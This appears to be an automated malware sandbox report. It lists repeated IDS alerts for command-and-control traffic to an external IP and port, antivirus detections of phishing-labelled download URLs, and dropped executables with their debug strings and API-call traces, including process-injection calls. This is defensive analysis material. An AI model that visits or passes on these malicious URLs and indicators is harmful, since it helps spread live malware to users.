2024-12-06T10:41:12.329726+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:12.430640+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:12.530680+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:12.630667+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:12.733511+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:12.832660+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:12.932704+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:13.033683+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:13.134696+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:13.235636+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:13.335673+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:13.435683+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:13.536640+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:13.636735+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:13.737665+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:13.838710+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:13.939759+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:14.039698+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:14.243947+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:14.243947+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:14.341674+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:14.441715+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:14.544485+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:14.642666+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:14.743732+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:14.844666+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:14.945527+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:15.046388+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:15.145734+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:15.245726+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:15.770760+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:15.770760+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:15.970787+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:16.075645+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:16.171797+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:16.273624+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:16.375676+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:16.473659+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:16.575632+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:16.675627+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:16.775716+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:16.875684+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:16.978546+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:17.079831+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:17.180699+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:17.281676+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:17.382723+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:17.483729+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:17.584676+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:17.685702+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:17.786751+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:18.321108+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:18.321108+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:18.522674+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:18.623684+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:18.725537+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:18.824686+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:18.924679+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:19.025773+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:19.125693+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:19.225726+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:19.326680+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:19.426687+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:19.526736+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:19.627693+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:19.727703+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:19.828729+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:19.929709+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:20.030828+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:20.133552+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:20.233552+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:20.341458+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:20.443475+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:20.682840+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:20.682840+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:21.097174+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:21.298727+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:21.399730+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:21.499761+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:21.599744+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:21.699819+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:21.800727+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:21.900809+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:22.001743+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:22.101728+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:22.202774+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:22.305597+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:22.403882+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:22.503641+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:22.603819+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:22.726038+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:22.826697+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:22.929563+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:23.027046+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:23.127726+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:23.545135+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:23.545135+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:23.847693+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:24.048715+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:24.149719+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:24.253582+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:24.349706+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:24.449721+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:24.552086+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:24.650715+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:24.753574+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:24.852713+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:24.953473+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:25.053738+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:25.153822+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:25.253760+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:25.354741+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:25.454732+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:25.554720+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:25.655732+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:25.756720+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:25.856740+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:25.958776+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:26.058755+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:26.174211+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:26.277393+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:26.595740+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:26.595740+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:26.799719+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:26.899682+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:26.999789+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:27.103971+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:27.203729+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:27.304719+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:27.405801+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:27.506858+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:27.606794+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:27.707756+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:27.808787+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:27.909851+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:28.009740+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:28.110770+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:28.211845+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:28.311601+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:28.411623+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:28.511676+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:28.611018+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:28.711898+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:28.943614+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:28.943614+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:29.243749+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:29.443795+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:29.543802+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:29.643756+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:29.743763+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:29.844867+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:29.945796+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:30.045795+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 5q1Wm5VlqL.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://cycleconf.com/dwnld/1st2_2.zip#	Avira URL Cloud: Label: phishing
Source: https://cycleconf.com/dwnld/1st2_1.zip	Avira URL Cloud: Label: phishing
Source: https://cycleconf.com/dwnld/1st2_2.zip;	Avira URL Cloud: Label: phishing
Source: https://cycleconf.com/dwnld/1st2_2.zip	Avira URL Cloud: Label: phishing
Source: https://cycleconf.com/dwnld/1st2_3.zip	Avira URL Cloud: Label: phishing
Source: https://cycleconf.com/dwnld/1st2_4.zip	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe

Avira: detection malicious, Label: HEUR/AGEN.1320053

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\DNScache\client32.exe	ReversingLabs: Detection: 25%
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	ReversingLabs: Detection: 47%

Multi AV Scanner detection for submitted file

Source: 5q1Wm5VlqL.exe

ReversingLabs: Detection: 26%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 97.9% probability

Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe	Code function: 0_2_00007FF749E146E8 GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,GetWindowsDirectoryA,SetCurrentDirectoryA,	0_2_00007FF749E146E8
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_110AC600 GetModuleHandleA,GetProcAddress,GetProcAddress,GetLastError,wsprintfA,GetLastError,_memset,CryptGetProvParam,CryptGetProvParam,GetLastError,_memset,CryptGetProvParam,GetLastError,GetLastError,GetLastError,GetLastError,_malloc,GetLastError,_free,GetLastError,CryptReleaseContext,SetLastError,FreeLibrary,	7_2_110AC600
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_110AC600 GetModuleHandleA,GetProcAddress,GetProcAddress,GetLastError,wsprintfA,GetLastError,_memset,CryptGetProvParam,CryptGetProvParam,GetLastError,_memset,CryptGetProvParam,GetLastError,GetLastError,GetLastError,GetLastError,_malloc,GetLastError,_free,GetLastError,CryptReleaseContext,SetLastError,FreeLibrary,	9_2_110AC600

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

File opened: C:\Users\user\AppData\Local\DNScache\MSVCR100.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 23.254.224.41:443 -> 192.168.2.6:49707 version: TLS 1.2

Source: 5q1Wm5VlqL.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Full\pcichek.pdb source: 1stovl.exe, 00000002.00000002.2287672288.000000000152E000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000007.00000002.4616285771.000000006C802000.00000002.00000001.01000000.0000000A.sdmp, client32.exe, 00000009.00000002.2302595066.000000006C802000.00000002.00000001.01000000.0000000A.sdmp, PCICHEK.DLL.2.dr
Source:	Binary string: wextract.pdb source: 5q1Wm5VlqL.exe
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: client32.exe, 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000009.00000002.2300141192.000000001118F000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.2.dr
Source:	Binary string: wextract.pdbGCTL source: 5q1Wm5VlqL.exe
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Full\pcichek.pdbN source: 1stovl.exe, 00000002.00000002.2287672288.000000000152E000.00000004.00000020.00020000.00000000.sdmp, PCICHEK.DLL.2.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdbL source: client32.exe, 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.2.dr
Source:	Binary string: sxssrv.pdb source: sxssrv.dll.2.dr
Source:	Binary string: whealogr.pdb source: whealogr.dll.2.dr
Source:	Binary string: client32_ctr.pdb0\1100\client32\Release\client32_ctr.pdbP source: client32.exe.2.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\release\tcctl32.pdbP source: TCCTL32.DLL.2.dr
Source:	Binary string: sxssrv.pdbUGP source: sxssrv.dll.2.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\release\tcctl32.pdb source: TCCTL32.DLL.2.dr
Source:	Binary string: sxshared.pdb source: sxshared.dll.2.dr
Source:	Binary string: msvcr100.i386.pdb source: client32.exe, client32.exe, 00000009.00000002.2301224660.000000006C711000.00000020.00000001.01000000.0000000C.sdmp, msvcr100.dll.2.dr
Source:	Binary string: D:\a\_work\1\s\MSRTC\msrtc\build.d\output\release\RtmMvrOrtc.pdb source: rtmmvrortc.dll.2.dr
Source:	Binary string: rtutils.pdbUGP source: rtutils.dll.2.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\AudioCapture\Release\AudioCapture.pdb source: AudioCapture.dll.2.dr
Source:	Binary string: WFAPIGP.pdb source: 1stovl.exe, 00000002.00000003.2253552887.00000000014C3000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000002.2287672288.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, wfapigp.dll.2.dr
Source:	Binary string: client32_ctr.pdb source: client32.exe.2.dr
Source:	Binary string: WFAPIGP.pdbUGP source: 1stovl.exe, 00000002.00000003.2253552887.00000000014C3000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000002.2287672288.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, wfapigp.dll.2.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdb source: client32.exe, 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.2.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Release\pcicapi.pdb source: client32.exe, 00000007.00000002.4616175662.000000006C7E5000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 00000009.00000002.2302025075.000000006C7E5000.00000002.00000001.01000000.0000000B.sdmp, pcicapi.dll.2.dr
Source:	Binary string: sxshared.pdbUGP source: sxshared.dll.2.dr
Source:	Binary string: 0\1100\client32\Release\client32_ctr.pdb source: client32.exe.2.dr
Source:	Binary string: whealogr.pdbGCTL source: whealogr.dll.2.dr
Source:	Binary string: rtutils.pdb source: rtutils.dll.2.dr

Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe	Code function: 0_2_00007FF749E126B8 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	0_2_00007FF749E126B8
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Code function: 2_2_00D0F905 FindFirstFileExW,	2_2_00D0F905
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1102D1B3 CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	7_2_1102D1B3
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11069760 GetTickCount,OpenPrinterA,StartDocPrinterA,ClosePrinter,FindFirstFileA,FindClose,CreateFileA,SetFilePointer,GetTickCount,GetLastError,	7_2_11069760
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11123690 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	7_2_11123690
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11108090 _memset,wsprintfA,wsprintfA,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	7_2_11108090
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_110BC0E0 GetFileAttributesA,CreateDirectoryA,FindFirstFileA,CopyFileA,CopyFileA,FindNextFileA,FindClose,DrawMenuBar,	7_2_110BC0E0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1102CE84 Sleep,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	7_2_1102CE84
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11064EF0 _memset,_memmove,_strncpy,CharUpperA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,	7_2_11064EF0
